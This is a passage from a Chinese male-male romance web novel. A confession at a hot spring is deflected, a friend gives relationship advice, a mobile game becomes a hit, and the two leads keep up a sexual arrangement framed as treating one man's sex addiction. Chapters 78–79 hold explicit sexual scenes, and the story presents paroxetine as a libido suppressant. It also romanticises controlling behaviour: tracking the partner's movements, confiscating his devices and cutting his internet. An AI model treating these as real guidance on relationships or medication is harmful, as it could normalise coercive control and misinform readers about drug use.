他很少在和陆灼年的言语交锋中占据上风,此时终于找到了机会,当然不肯轻易偃旗息鼓、鸣金收兵。 陈则眠这时候倒是很警惕了,观察问题的角度也极其刁钻:“从用手到用腿还两个月呢,从‘有意思′到‘很喜欢′就十分钟,你感情升级挺快啊陆灼年,比行为需求升级 陆灼年额角青筋猛跳:“重点难道不是我对你有感情吗?至于程度的问题可以稍后再讨论。” 陈则眠后退半步,拒绝落入陷阱:“除了上周那几天以外,我们天天在一块儿,你那个时候怎么不说喜欢我?我才松口同意说可以缓做慢做,你立刻就对我有感情了,你要是我听了会相信吗?" 陆灼年虽然还在试图讲道理,但逻辑已经完全被陈则眠带偏了:“那不是出于对你负责的角度考虑吗?你都同意以后可以和我做了,我喜欢你却还不告诉你,那我成什么人 陈则眠捂着耳朵:“不听不听,我不用你对我负责。” 这么明显的一副拒绝交流姿态,就连陆灼年一时也不知该如何是好。 鸵鸟龟缩成了球,藏在自己的壳子里,仿佛只要把头藏起来,就可以无视全世界。 陆灼年血压飞速升高,耳边响起一阵尖锐的耳鸣。 现在他已经不是想和陈则眠吵架了。 他简直想和陈则眠打一架。 陆灼年忍无可忍,一把抓住陈则眠的胳膊,把人从汤池里捞了出来,用浴巾兜头包住,拽着他往休息室里走。 陈则眠踉跄了两步,手腕被陆灼年强悍有力的手臂紧紧钳住。 透过浴巾晃动的缝隙,陈则眠看到汤池边溅出了不少水,两个人都赤着脚踩在上面,他怕两个人滑倒,就没再继续挣了,只是问陆灼年要干嘛。 陆灼年闭口不言,行动间透露出一种难以违抗的强势。 陈则眠骂骂咧咧了两句,嘴上反抗得厉害,身体倒是没有再挣扎。 这种湿滑地面非常危险,一旦摔倒,大多都是往后摔,很容易磕到后脑勺,陈则眠小时候就在浴室里摔过,差点没磕出脑震荡,吃一堑长一智,晓得其中利害。 他把脑袋上的浴巾扯下来,低着头走得很小心,直到脚踩上柔软松厚的地毯,才继续和陆灼年吵架。 陆灼年没有和陈则眠吵,直接把人推进房间,反手锁上了休息室的门。 陈则眠才说了几句,忽然一阵失重,被陆灼年抱起来,放到了藤编躺椅上。 …" 陆灼年单手撑着椅背,覆身俯视被困在身下的陈则眠:“怎么不骂了。” 陈则眠屈起一条腿:“你到底要干嘛?” 陆灼年乌沉沉的眸子里闪动着怒火,语气中充满了危险气息:“你觉得呢。” 陈则眠用看穿一切的眼神瞧向陆灼年,说:“你看,我就知道你还是想做。” 陆灼年气笑了:“陈则眠,你冤枉人也看看日子,我今天吃了帕罗西汀。” 陈则眠这才想起来帕罗西汀的副作用,恍惚了一瞬,眼睛情不自禁地往下瞄:“真的能抑制吗?” 陆灼年气定神闲:“你要看看吗?” 他们泡温泉并没有穿那种泳裤,而是都穿了速干材质的温泉套装,裤子的长度跟运动短裤差不多,在膝盖上面一点的位置,不是贴身的,很宽松,所以看是看不出什么的。 陈则眠好奇心旺盛,忍不住抬手摸了一下。 还是很大很热。 陆灼年语调平常道:“摸出什么来了?” 陈则眠说:“假药。” 陆灼年忍不住轻笑一声:“我吃过很多有这个副作用的药,但只有你藏起来的那些帕罗西汀效果最好,进口药厂的药不好买,你到底藏哪儿了。”陈则眠眼珠动了动:“不告诉你。” 陆灼年气得有点头晕:“问你要帕罗西汀你不给,转头又说我是为了跟你做。” 陈则眠反驳道:“我可没怎么说。” 陆灼年扳起陈则眠的下巴,端详着那张漂亮的脸,怎么都想不通看起来这么机灵的一个人,为何会有那么奇怪的脑回路。 他简直没脾气了。 陆灼年起身走开两步,背对陈则眠,声音听不出喜怒:“我在你心里就是这种人,对你说喜欢,就是为了睡你。” 陈则眠坐起身,从衣柜里拿出休闲服换上:“是你自己说的。” 陆灼年转身看向陈则眠:“我说什么了?” 陈则眠套上休闲服,把当时陆灼年说萧俗兀的话重复了出来:“你告诉我不要信他说了什么,还说这些GAY为了骗人上床,什么话都讲得出来。” 陆灼年:"……." 78、第78章 “我教他怎么防别人,结果他用来防我。” 陆灼年衣着整齐,坐在温泉酒吧的落地窗前,垂眸就能看到楼下正在和萧可颂一起做水疗的陈则眠。 他看了两秒,收回视线,转眸看向对面的叶宸:"很好笑吗?" 叶宸知道自己不应该笑。 但他真的很难忍住,因为实在是太精彩了。 陆灼年头痛欲裂,已经无力动怒,只是撑着额角看向叶宸:“笑完了吗?” 叶宸以拳抵唇,轻咳两声压住笑意:“我觉得至少他……” 才说了半句,叶宸又停下来,偏过头闷笑道:“对不起,再给我半分钟。” 陆灼年面无表情。 叶宸抿了杯威士忌,继续说刚才讲到一半的话;“至少他把你的话都记在了心里。” 陆灼年并没有被安慰到,似是感慨似是喟叹:“我不懂他。” 叶宸言简意深:“他对你的吸引力,不就是来自难懂’吗。” 陈则眠就像一把沙子,捧也捧不起来,抓又抓不住,这种难以预测、难以掌控的不确定性,令陆灼年为之无力,亦为之着迷。 陆灼年出身高贵、家世煊赫,能够呼风唤雨,能够掌控一切。 可陈则眠和所有人都不一样,仿佛跳出三界外、不在五行中,是那么的不可捉摸、鲜活明朗,一举一动都让陆灼年惊讶、惊骇、惊喜。 无论好的还是坏的,都让死水流动起来,让他平静人生有了波动。 陈则眠跳脱潇洒,自由随性,好似一阵飘忽不定的清风,或者一股生机勃勃泉水,强势地注入陆灼年一成不变的、稳定的、沉闷的生活,吹起一片惊涛骇浪。 叶宸倒了杯酒,冰块在酒杯中撞击出悦耳的声响:“等他变得好懂了,你就该觉得没意思了。” 陆灼年想说那多少也要懂一点吧,总是这样真的是太累了。 他从来没有这么累过,那是一种极其深沉的无力感,他不知道哪里出了问题,又感觉好像哪里都是问题。 明明从过程上来看,他和陈则眠是有进展的,而且进展飞速,可不知为何一谈感情,就哪儿哪儿都不对劲了。 这感觉就像是面对一个充满BUG却能奇异运行的程序,牵一发而动全身,想要修补都不知从何下手。 不修还能运行,一动全面瘫痪。 陆灼年只能得出结论:“或许是我开口的时机不对。” 叶宸晃了晃酒杯,转眸看向陆灼年:“要听实话吗?” 陆灼年:“洗耳恭听。” 叶宸似笑非笑:“没有好时机,你什么时候开口都一样。” 陆灼年端起酒杯抿了一口:“接着说。” 叶宸唇角小幅度扯了下,慢条斯理道:“他本身就是个极不稳定的人,会逃避关系束缚太正常了,而且要与你发展的,又是不为大众接受同性恋,你什么时候开口,他都能把话题给你搞歪。" 陆灼年沉默不语。 叶宸悠悠道:“他潜意识里就在回避,所以才有了那么多理由,掩耳盗铃,自欺欺人,表面是在搪塞你,其实是在糊弄自己。” 陆灼年:“说下去。” 叶宸旁观者清:“忽然被同性朋友表白,是谁都会被吓到,你想想看,如果是我突然跟你说喜欢,你会怎么想。” “我会觉得你疯了," 陆灼年应了一句,又说:“可是我和你又没…….” 陆灼年顿了顿,戛然而止。 叶宸挑眉道:“没什么?” 陆灼年语气淡淡:“没什么。” 叶宸意味深长地看了陆灼年一眼,话锋一转:“另外,你的身份也是个问题。” 做朋友可以不在乎身份差距,做恋人不可能不考虑这些,更何况还是同性恋人。 叶宸用词很直接,从客观角度分析道:“聪明人不会回应高位者的一时兴起,谁敢去用自己的前途去赌你的深情,今天爱明天不爱的,你们分手了你依然是陆家继承人、京 圈太子爷,那他呢?他还在不在这个圈子里混了。" 陆灼年眉峰轻动:“你说的有道理,我会解决这个问题。” 叶宸说:“这只是我个人的考量,陈则眠的性格……会权衡,却不会因为这个放弃感情。现在的难是他根本不肯正视这个问题,你和他怎么说,他都有理由和你乱搅。”陆灼年深以为然,表情没有半分变化:“那他就是这个性格,我能有什么办法。” 叶宸忽而笑了:“你确实没什么办法。” 陆灼年瞥向叶宸:“你有?” 叶宸缓缓靠回椅背,游刃有余道:“逼他看清。” 陆灼年把酒杯往前一推,突然说起来别的事:“你家猫还在你杯子里喝水吗?” 叶宸:“喝。” 陆灼年面无表情:“你怎么不逼它去猫碗里喝。” 叶宸:“” 陆灼年用陈述的语气反问:“你连猫都舍不得逼,给我出的主意是让我去逼陈则眠。” 叶宸无语地看了陆灼年一眼:“我都说了你没办法,是你非要问。” 陆灼年说:“再想一个别的。” 叶宸略微思索几秒:“你去留学吧,你们现在距离太近,都没有人敢招惹他。” 圈子里的人向来拜高踩低,等陆灼年出国走了,那些个小富二代们随便上上嘴脸,陈则眠就知道有人庇护有多重要了。 陆灼年冷肃道:“他只会把那些人都打了。” 叶宸轻笑着说了句‘也是’,又接着出了个主意:“钓鱼也不能一直抻着线,你真的可以借着留学冷冷他,等他自己来咬钩。” 陆灼年:“以退为进对他没用,他只会把自己气吐。” 叶宸看着陆灼年,语气玩味:“你对他这么了解又这么关心,你们真的没在谈吗?” 陆灼年见叶宸故意打趣,语气冷冷地骂他:“你有病吗?” “我是说你们俩现在跟情侣又没区别,“叶宸垂眸看了眼楼下的陈则眠:“除了不跟你谈恋爱以外,他什么都能跟你做,要不你就算了吧。” 陆灼年抬起黑眸:“什么算了。” 叶宸唇角微微往上扬了一下,又强行压下去,不慌不忙地说了六个字:“别强要名分了。” 陆灼年随手抄起果盘里的橙子,朝叶宸砸了过去。 叶宸抬手接过橙子:“真的,有实无名总比有名无实强吧。” 陆灼年说了会等陈则眠想明白,就不会着急要结果。 这世间的很多事,本来就没有结果,陆灼年从出生开始就拥有很多东西,人总不可能事事都顺利、都如意。 总要有那么一两个不可得的,或成执念或成遗憾。 无论最后的结局怎么都没有关系。 他相信陈则眠能想明白。 陈则眠确实在思考这件事情。 思考了很久。 久到萧可颂以为他和陆灼年没谈拢,两个人吵架了。 陈则眠摇摇头,问萧可颂:“如果你最好的兄弟说喜欢你,你会相信吗?” 萧可颂大惊失色:“你喜欢我?” 陈则眠无语了半秒,说:“谢谢。” 萧可颂头都晕了,语无伦次地说:“不要啊,我谢谢你了,你换个人喜欢行吗,虽然你很好看,但我对男的不来电,我们没结果的。” 陈则眠瞥了萧可颂一眼:“我是谢谢你把我当最好的兄弟。” “不是你啊,那就……"萧可颂听明白了,一口气还没完全松下又猛然吊起:“那也不行啊!你说的是谁?难道是叶宸?” 陈则眠扶额道:“没谁!我是说假如!不过现在也不用如了。” 萧可颂的反应已经足够说明问题。 不仅是他觉得难接受,换个人也同样感到难以置信。 陈则眠和萧可颂反应相似,听到陆灼年说喜欢自己的时候,他也很想求求陆灼年别喜欢自己。 爱情如狂风过境,到来时撼天动地、刻骨铭心,轰轰烈烈之后又似烟花散场。 太多人在‘爱字上折戟沉沙,一段激情消逝后,只剩满地七零八落的残骸,最终连朋友都没得做。 陈则眠不认为自己会是那个幸存者。 做朋友可以做一辈子,可恋人很难,关系升级意味着改变与未知,单身多年的陈则眠不知道该如何维系爱情。 维系友情的话就简单多了。 友情更纯粹也更稳定,犹如世间是最坚固的保险箱,可以存放下所有金子般宝贵的情意。 而爱情是朵太娇嫩的花,陈则眠缺乏经验又粗心大意,害怕自己浇灌不好它。 科学研究表明,爱情荷尔蒙的保质期是18—30个月?恋爱初期分泌的多巴胺,会随着时间流逝逐渐减少。 等激素消退完全那天,花也就死了。 朋友可以变成恋人,但恋人不可能退回朋友。 分手后就回不去了。 可做朋友就没这个担心,他们可以一直好下去。 陆灼年对陈则眠越重要,陈则眠就越想把他们的关系划分在友情里,将这份感情牢牢稳固在他最得心应手的安全范围内。 真喜欢就没办法做朋友了。 所以只能是假喜欢,也必须是假喜欢。 他不是质疑陆灼年的真心,他是根本就没办法面对。 否则要他怎么说,又该说些什么呢? 那天离开温泉会馆前,陈则眠在楼上的酒吧里找到了陆灼年。 陆灼年正在和叶宸喝酒,叶宸看到他,像是知道他来找谁,点点头说了句‘你们聊’,然后就起身走了。 不知为什么,叶宸走的时候手上还拿了个橙子。 这个橙子很好吃吗? 陈则眠坐在陆灼年对面,看着果盘里的橙子开始出神。 陆灼年没有说话,只是抬手拿走了陈则眠面前的酒杯,吩咐服务员端一杯鲜榨橙汁给他。 陈则眠回过神:“我不是来喝橙汁的。” 陆灼年:“嗯。” 陈则眠咽了下口水,抬眼观察陆灼年的表情:“你是不是生气了。” 陆灼年唇角抿起一道很浅的弧度:“你觉得我应该生气吗?” 陈则眠垂下眼睛,轻轻点了点头。 陆灼年问他:“我为什么要生气。” 陈则眠头垂得更低了,语气也有点丧:“因为我胡说八道。” 陆灼年轻笑一声:“原来你都知道。” “我不知道,”陈则眠有点着急,抬起头看着陆灼年:“我之前真的没想过,你忽然那么说,我太震惊了,一点准备也都没有,脑子都乱了,讲得话也都是混说的,因为我不想……不想…" 陆灼年替他把话说完:“因为你不想信,也不想和我有别的关系。” “我不是不想和你有别的关系,对其他人也一样,我没谈过恋爱,更没和男的谈过,不知道怎么谈。”陈则眠注视着陆灼年的眼睛,一字一顿地说:“陆灼年,你对我特别特别重要,我想和你做一辈子的朋友,而不是几个月的恋人。" 陆灼年神色没有丝毫变化,连眉梢都未曾轻蹙一下:“好吧。” 陈则眠愣了一下:“什么好吧。” 陆灼年从果盘里拿了个橙子递给陈则眠,宣布道:“你就当我没说过。” 陈则眠:"…" 还能这样的吗? 也、也行吧。 陈则眠从陆灼年手里接过橙子:“那我们以后还和从前一样?” 陆灼年莫名地笑了一下:“只要你愿意。” 陈则眠现在也有点搞不懂陆灼年了,不知道陆灼年在笑什么,但不知为什么总觉得心里毛毛的。 尤其是叶宸看到他在吃橙子以后,也莫名其妙地笑了两声,还扫了陆灼年一眼。 陈则眠不明所以。 这橙子有什么问题吗? 挺甜的啊。 离开温泉会馆之后,关于陈则眠回哪里住的问题,陆灼年和陈则眠都默契地没有再提。 司机直接把车开回了盛府华庭。 陈则眠就这样又搬了回去。 陆灼年对陈则眠胃病的事情十分上心,专门请了一个做药膳的师傅,负责搭配陈则眠的一日三餐。 在把身体养好前,陈则眠的人身自由受到了一些限制。 陆灼年派了陆家的司机跟着陈则眠,专门负责接送他,也是变相掌控了他的行踪,不许他在外面乱吃东西。 每天早上,陆灼年都会和陈则眠一起吃早餐,吃完半小时,才准司机送他出门,白天无论在忙什么,中午一到饭点,都得把人接回家吃饭。 之前陆灼年上下午都有课的时候,中午一般是不回家的,但他知道司机不见得能管得住陈则眠,就也开车回家吃了。 晚上一到九点半,家里准时断网,还要收走陈则眠的电子设备,比宿舍管理还严格。 陈则眠没有可以玩的东西,黑灯瞎火的又什么都干不了,躺在床上没一会儿也就睡着了。 陆灼年如果有作业论文要写,都会等陈则眠睡着后再去书房做。 陈则眠现在其实没啥可忙的了,射击场去不去都行,新上线的游戏也有了代运营团队,既然要养身体,他也没急着推进下一个项目,工作上也没什么事非要他亲力亲为。游戏上线那天是周五晚上,陆灼年勉强允许他晚睡一小时,看着后台飙升的下载量,陈则眠心跳得飞快,肾上腺激素飙升,隐隐有种要逆天改命的感觉,整个人都是飘的。后台数据每刷新一次,都在创造一个新的奇迹。 如果不是陆灼年后来收走了他的手机,陈则眠能盯一晚上。 《和平战场》是经过市场验证的游戏,陈则眠有预感它肯定会火,但没想到它会这么火。 第二天早上,手机重新开机之后,他的电话几乎被投资公司和赞助商打爆了。 连中午吃饭的时候,手机都在响。 但由于陆灼年在,陈则眠吃饭吃的很老实,没有看手机,更没有接电话,全神贯注的吃着饭,而且细嚼慢咽,每口都嚼碎了才往下咽,但眼睛还是止不住往手机上瞟。 陆灼年看着陈则眠邮箱里的邀约邮件,轻笑一声:“陈总要发达了。” 陈则眠很低调地说:“才半天,可能只是用户没玩过,比较好奇。” 陆灼年见陈则眠在餐桌边坐不住,就把手机给他了。 陈则眠拿过手机看了两眼,又把手机放回了旁边。 陆灼年筷子顿了顿:“电话不接吗?” “还没吃完饭呢,"陈则眠已经吃饱了,就拿了块香芋派小口啃着磨牙:“谁家正经公司饭点打电话啊。” 陆灼年说:“不用陪我,吃饱了就忙你的去吧。” 陈则眠叼着香芋派抬起头:“我再忙还能有你忙,你都天天中午赶回来陪我吃饭,我有什么合作也不差这一会儿。” 陆灼年唇角勾起道不太明显的弧度,龙颜微悦道:“错过了的合作我给你补。” 陈则眠说:“不用,错过了就是没缘分,没缘分的事不强求。” 现在已经不是游戏怕错过赞助商,而是赞助商们怕错过这款游戏。 《和平战场》的爆红是现象级的、 仅仅二十四小时,游戏下载量便打破历史记录,攀升至游戏榜TOP100,三天后,成功闯入全球下载增长榜和收入增长榜名,并进入下载榜前五名。 人在特别顺的时候,就会觉得时间过得特别快。 接下来的一个月,陈则眠感觉就像是在做梦。 超高下载量转化成的广告费、赞助费、投资费成为一串数字,以超乎想象的庞大体量与日俱强。 不断打破各项记录,荣登并霸据了游戏下载榜榜首。 连远在国外的萧名兀都听说了陈则眠的成功,亲自发来贺电,恭祝陈则眠事业有成。 国内外两地相距万里,有着好几个小时的时差,萧伯兀打电话时他那边艳阳当空,国内却已是深夜。 晚上十点,陈则眠已经睡着了,手机收在陆灼年这里,所以这通电话理所当然也是陆灼年接的。 萧名兀听到陆灼年的声音只是一笑,从恭喜陈则眠改为恭喜陆灼年。 陆灼年面无表情地挂断了电话。 游戏爆火的过程太顺利了。 顺得超乎想象,顺得如有神助。 这种做了火箭般的发展速度,连经多见广的郑董都啧啧称奇,没想到为了给自家儿子而随手一投的项目,竟成了他们公司本年度投资计划中最大一匹黑马。按照这个模式发展下去,虽然在签订合同时,投资公司只要了很低的分红比例,但所投资金也用不了多久就能收回成本。 之前董事会上提出反对意见的董事们,变脸简直比川剧还快,一改往日喜欢唱反调的作风,纷纷恭维还是郑董眼光毒辣、远见明察。 郑董在公司的话语权进一步提升,整个人满面春风,看着都年轻了好几岁,竟然还破天荒地染了头发,把零星泛白的鬓角染成黑色,更加温文儒雅,风度翩翩。 郑怀毓看自己老爹总算顺眼了几分,说话也有了耐心,不仅愿意正眼看他了,还选了一条皮带送给他搭配西装。 郑董不知儿子对他的态度好坏完全取决于脸,还以为是陈则眠教导有方,又在圈内大肆宣扬一番暂且不提。 陈则眠从二代圈里名不见经传的小狗腿,一跃而成一代圈中的教育大师。 邀请陈则眠的饭局和宴会越来越多,不光是各大老总想请他帮忙管教自家不肖子孙,想和他合作的、找他投资的比比皆是。 随着游戏的爆火,庆功宴也是开了一场又一场。 只不过别人杯子里都是酒,陈则眠在陆灼年的注视下,举着无醇气泡饮料伪装香槟,和大家举杯同庆。 陈则眠是游戏圈的新贵,身边不仅有陆家大少回护庇佑,还有资本界大佬郑董家的公子做秘书。 这样顶级的配置之下,旁人别说是灌他喝酒了,就是想要敬酒,那酒杯都递不到陈则眠面前。 萧可颂和叶宸也偶尔露了两面,薛铎和刘越博有时间也会去。 有这么这些个身份尊贵的公子哥保驾护航,陈则眠所到之处皆是一派祥和。 庆功宴参加多了也没意思,还耽误时间,后来陈则眠也就不去了。 与此同时,无数新闻采访的邀约雪花般飞来。 陈则眠只接受了央视的采访,在采访播出后,又因为过于俊美的外表登上热搜。 采访视频下面,点赞量最高热评是—— 【这个游戏主策好帅,这还玩什么游戏啊,玩我吧。】 这位用词夸张的网友是否被玩尚未可知。 陈则眠是真的在被玩。 他被一条金丝暗纹的领带缚起双手,眼前遮着纯黑眼罩,两条大腿中间被蹭得又麻又痒。 陆灼年性瘾来势汹汹,虽然纾解了一次,但还没有得到满足。 他将陈则眠翻过来,掀开眼罩。 陈则眠刚刚接连发泄过两次,神智还未从极乐的感官中恢复,涣散的瞳孔缓缓凝聚,仰面看着陆灼年。 陆灼年喉结滚了滚,拇指轻轻按在他身上,反复碾过:“回神了,陈则眠。” 带着薄茧的指腹摩挲,带来的刺激感成倍累积。 陈则眠发出一声短暂的喉音,整个人颤了颤,大腿经受不住般又开始抖,纤长乌黑的睫毛湿漉漉的,不知道是汗是泪。 他扭着腰想夺回身体的控制权。 可惜无济于事。 陈则眠胸膛剧烈起伏,双手一翻从领带中挣出来,按住陆灼年的手:“别弄了,在弄我都想尿了。” 陆灼年眸光幽暗,漆黑如墨的眸子所在陈则眠睫稍:“我还想要一次,但只用腿好像不行了。” 陈则眠点点头:“我也觉得不行,再蹭要破皮了。” 陆灼年眼神落在陈则眠手腕勒出的红印上,定定看了两秒:“那怎么办啊,陈则眠。” 79、第79章 还能怎么办? 陈则眠也没什么好办法。 但他有计划。 陈则眠抓过枕头边的《诊疗计划书》,赫然发现用领带之后的下面一条,是猫耳朵和小铃铛。 可是网购的小道具还没到。 陆灼年也看到那一常串的各项列表,忍不住轻笑一声:“你这是把成人玩具店所有的东西都列上去了。” 陈则眠手指在计划书上无力地一滑:“快递还没到,今天没可玩的了,我给你用手吧。” 他让陆灼年侧躺下来,自己往下蹭了蹭,用手帮陆灼年找感觉。 陆灼年对陈则眠的表现予以了肯定:“为了不做到最后,你真的付出了很多努力。” 陈则眠在床上总是很诚恳,他说:“我有点害怕。” 陆灼年闭起眼睛:“怕我吗?” 陈则眠摇了下脑袋:“我怕以后没有别的方式满足你,你就觉得,没意思了。” 觉得这件事没意思,觉得我……没意思。 为了满足陆灼年逐步升级的行为需求,陈则眠网上搜了很多玩法,领带的妙用就是从网上看到的。 也确实给了陆灼年一些刺激。 但陈则眠没有想到的,性瘾者需求阈值的增高,不仅是渴望更加强烈的刺激,需求的次数和频率也在上升。 前几回还都是一次就可以,这回一次竟然不够了。 这已经是这个月的第四次了 陆灼年的第四次,陈则眠的第N次。 虽然每次犯病的是陆灼年,但爽得更多的那个人是陈则眠,如果不是陆灼年强行控制着他的次数,陈则眠可能早就虚脱了。 他的自制力真是太差了。 陈则眠思绪飘远,手上的动作自然也慢了下来。 陆灼年轻轻撞了陈则眠的脸一下:“又不专心。” 陈则眠不是不专心,他是有点累了,爽过两次后,他现在特别想睡觉。 每次和陆灼年互助后,他都能睡得特别沉。 陈则眠容易睡着,也容易惊醒,虽然入睡很快,但大多时候都是浅眠,有点风吹草动就会醒。 可能是互助后身体和精神都更疲惫,陈则眠最长一次睡了十二个小时。 睡前爽,醒来后也爽,愉悦感不光是那短短几秒钟,而是能持续很久很久。 他总算知道为什么那么多人都会对这档子事情有独钟了。 确实太令人着迷了。 陈则眠半阖着眼,昏昏欲睡。 陆灼年见陈则眠逐渐闭上眼睛,知道他这是困了。 剧烈燃烧的欲.望似一团毒焰,占有欲和毁坏欲不断债张,持续拉扯着他,催逼他从陈则眠身上得到更多,可感情却犹如一根丝线,飘摇地牵住最后一分理智。 陈则眠快睡着了,手上的动作越来越慢,到最后只是虚虚握着,动都不动一下了。 他总是这样。 白天清醒的时候他态度坚决、意志坚定,表示必须排除万难,帮陆灼年彻底治疗性瘾,结果每回一到了床上,又迅速被欲.望俘获,哼哼唧唧地求陆灼年先让他爽一次。然后爽完就困,偷懒、耍滑、出工不出力,并保证下一次一定好好表现。 陆灼年控制欲虽强,但对陈则眠总是心软,也不舍得每次都用欲望吊着他,陈则眠想要就给了,最后就只剩自己不上不下地停在这儿。 陈则眠满足后整个人放松下来,常常睡得很快,陆灼年狠不下心叫醒他。 可若不叫他,自己这般难受得要命,却见陈则眠睡得这样香沉,又不免十分来气。 陆灼年垂眸看着陈则眠,灵魂仿佛被劈成了两半。 一半喧嚷着毁掉他,另一半告诉自己要保护他。 陆灼年蹭了蹭陈则眠的脸,抵着他过分红艳的嘴唇,充满暗示地蹭动着。 陈则眠眼睛还没有睁开,嘴就已经张开了。 陆灼年幽暗的眸光轻轻一闪。 行吧,也还挺乖的。 他就这样原谅了陈则眠。 陈则眠等了一会儿,什么都没有等到,迷迷糊糊地睁开眼,有点诧异地仰起头,看了陆灼年一眼。 陆灼年手掌轻轻扣着陈则眠后脑勺,摸着他柔软的头发,心却比发丝更软,低声说:“不用了,你睡吧。” 陈则眠真的很困了,勉强往上拱了一下,额头抵着陆灼年肚子,卷着羽绒被就睡了过去。 陆灼年又躺了一会儿,静静等待体内灼烧的欲.望熄灭。 性.瘾发作带来的冲动虽然没有完全得到纾解,但也满足了一次,总归是聊胜于无。 看着熟睡在他怀中的陈则眠,异样的平和与温暖在心底缓缓升起,给予了他战胜欲.望的力量。 四十分钟后,来势汹汹的病瘾终于消退。 陆灼年呼吸很重,整个人像是从水里捞了出来似的,出了一身冷汗。 勉强恢复了些气力之后,他想去洗个澡,可只是轻轻一动,甚至还没有起身,陈则眠就皱了下眉,觉得有什么东西乱动吵到自己睡觉了,直接抬起胳膊压住了陆灼年。陆灼年压低声音:“我去洗澡。” 陈则眠也不知是听到了,还是觉得有人跟他说话吵,卷着羽绒被翻了个身,把头扎进被里,滚到另一边睡了。 陆灼年洗完澡,用温水打湿了毛巾,给陈则眠擦脸、擦手、擦腿。 温热的毛巾又柔软又舒服,陈则眠被擦得劲,安逸地叉开腿任由陆灼年动作。 他的腿又长又白,大腿内侧肌肤常年不见光,更是白透如薄瓷。 陆灼年没能抵御诱惑,缓缓低下头,在他腿根上亲了一下。 陈则眠不知做了什么美梦,在陆灼年靠近的时候,不自觉地挺了下腰。 陆灼年:“……” 一时竟分不清到底谁有性.瘾。 他随手把毛巾扔进脏衣篓,从衣柜翻出条干净的短裤给陈则眠套上了。 陈则眠很喜欢把运动短裤当睡裤穿,宽松柔软、轻快透气,穿了像没穿似的。 他腿型好,穿这种宽腿短裤更显腿长腰窄,露出线条流畅、肌肉紧实的大腿,叉着腿坐下的时候,从裤管能看到很深。 好在还没到夏天,陈则眠不会穿这种短裤出门。 不过陈则眠本身也不太爱穿短裤出门,他虽然没有洁癖,但也不喜欢皮肤直接接触到公共座椅。 说是感觉黏黏的,觉得脏。 还有其他的一些穿衣小习惯,陆灼年也了如指掌—— 平时最常穿卫衣,因为有帽子可以在需要时盖住脑袋、冬天喜欢穿棉服,理由同上。 偏爱一切短款上衣,不喜欢穿长款,因为长款上衣拌腿,想踹人时还要先提衣服,前摇过长,影响发挥。 正式场合以及悄悄和陆灼年内卷的时候,一定要靠穿衬衫西装拉格调,但西装永远敞怀,衬衫最上面一颗形同虚设。 他像是知道自己脖子很好看,喜欢把脖领露出来,所以从来不穿高领衫。 最大的爱好是把陆灼年衣帽间当展柜,从里面选出心仪的衣服,并正大光明地占为己有。 东西都是别人的好,每次带他去商场他不买,然后回来继续偷陆灼年的穿。 就像叶宸那只不在水碗里喝水的猫。 陆灼年静静看了陈则眠一会儿。 原来在不知不觉间,自己已经对他这么了解。 陆灼年说不清自己是因为喜欢他,才了解他这么多奇奇怪怪的小习惯,还是因为这些可爱的小习惯,而更加喜欢他。 陈则眠搂着羽绒被睡得正香,陆灼年也没跟他抢,另拿了张绒毯盖住他光裸的后背,关了灯回自己房间睡觉了。 第二天上午,陈则眠醒的时候很晚。 家里只有他自己,陆灼年去学校上课了。 今天有一个商务要谈,但陈则眠懒得动,就给郑怀毓打了个电话,让他替自己去。 电话接通,陈则眠问郑怀毓:“你现在在哪儿呢?” 郑怀毓一听陈则眠的声音,就没忍住轻笑一声:“你昨天晚上干嘛了。” 陈则眠呛咳道:“咋了。” “不能再明显的事后音,"郑怀毓笑道:“你和陆灼年睡了?” 陈则眠上一口气还没喘匀,迎面又是一个暴击,差点没被自己的口水呛死,咳得惊天动地。 郑怀毓云淡风轻道:“别紧张,我是你秘书,会替你保守秘密的,陈总。” 陈则眠不知道郑怀毓怎么能从他一句话听出这么多信息,又惊讶又疑惑,忍不住问:“为什么是陆灼年?” 郑怀毓反问:“你天天住他家,还能有别人吗?” 陈则眠抓耳挠腮道:“不是,现在不是谁的事,是你为什么觉得我会男人睡呢,异性恋难道是什么很小众的事吗?” 郑怀毓沉吟片刻:“还惦记着你的异性恋呢,陆灼年的进度也太慢了,你们没睡,那你这个声音这么哑……用嘴了?” 陈则眠:“咳咳咳咳咳,我挂了。” 挂断电话后,陈则眠用短信的形式,通知了郑怀毓替他去谈商务的事情,并决定今天都不再和任何人说话。 陆灼年今天上午就一节课,不到十一点就回家了。 回来的时候,陈则眠刚起床没一会儿,保洁阿姨正在收拾卧室,他躺在客厅沙发上吃早饭。 陆灼年一进门,陈则眠立刻坐了起来。 “我看到你躺着吃东西了,"陆灼年从玄关走向客厅,端起茶几上的盘子,严格道:“坐餐桌这儿来吃。” 陈则眠很有骨气地说:“我不吃了。” 陆灼年没搭理他。 不吃就不吃吧,反正一会儿也该吃午饭了。 陈则眠试图为自己抗争权利,倒回沙发上,歪躺着说:“我胃病都好了。” 陆灼年:“坐起来。” 陈则眠只好又坐起来:“吃饱了不能躺简直反人类,那有些人就是吃饱了就困啊。” 陆灼年瞥了他一眼,意有所指道:“你确实是吃饱了就睡。” 陈则眠想起昨天帮陆灼年手到一半就睡着的事,不免又几分心虚,罕见地没还嘴。 陆灼年回来的时候看到司机的车没动,知道陈则眠上午没出门,就问:“不是有个商务要谈吗?” 陈则眠屈起一条腿踩在沙发上,大大咧咧道:“我起晚了懒得动,让郑怀毓去了,也不是什么重要的项目,随便谈谈得了。” 陆灼年唇角抿起道不太明显的弧度:“现在陈总炙手可热,也不是谁想见就能见的。” 提到郑怀毓,陈则眠不可避免地想起了‘事后音’三个字,轻咳一声,问陆灼年:“我声音听着哑吗?” 陆灼年摇了下头,问:“怎么了,嗓子不舒服?” 陈则眠说:“没有。” 他坐了没一会儿,又开始往下滑,慵懒地半躺在沙发里,被陆灼年拽起来。 “吃饱了躺着会胃酸反流,你坐好。” 陆灼年捏了陈则眠肩膀一下,把人摆正:“别跟没骨头似的。” 道理陈则眠都懂,但他就是个没自制力的人:“可是我真的好困啊,你是不是在早饭里下迷药了。” 陆灼年没搭茬,低头看了眼腕表:“再坐十五分钟。” 陈则眠挤在沙发靠背和陆灼年形成的夹角里,勉强维持住坐姿,拿出手机打了局游戏。 正巧唐老也在线,两个人组了队打了会儿游戏。 队内语音里,唐老说:“小陈啊,你这个游戏开服后,怎么还更好玩了。” 陈则眠说:“玩家多了,肯定比内测的时候有意思。” 唐老应了一声,又问:“游戏这么成功,你最近很忙吧,怎么都不见你出来走动了。” 陈则眠说:“忙倒是不忙,上线前签了代运营协议,也没有啥需要特别需要我管的,最近出门是少,这不是前一阵胃疼嘛,也不能喝酒,出去也没意思,还得到处和人解 释,就不去了。" 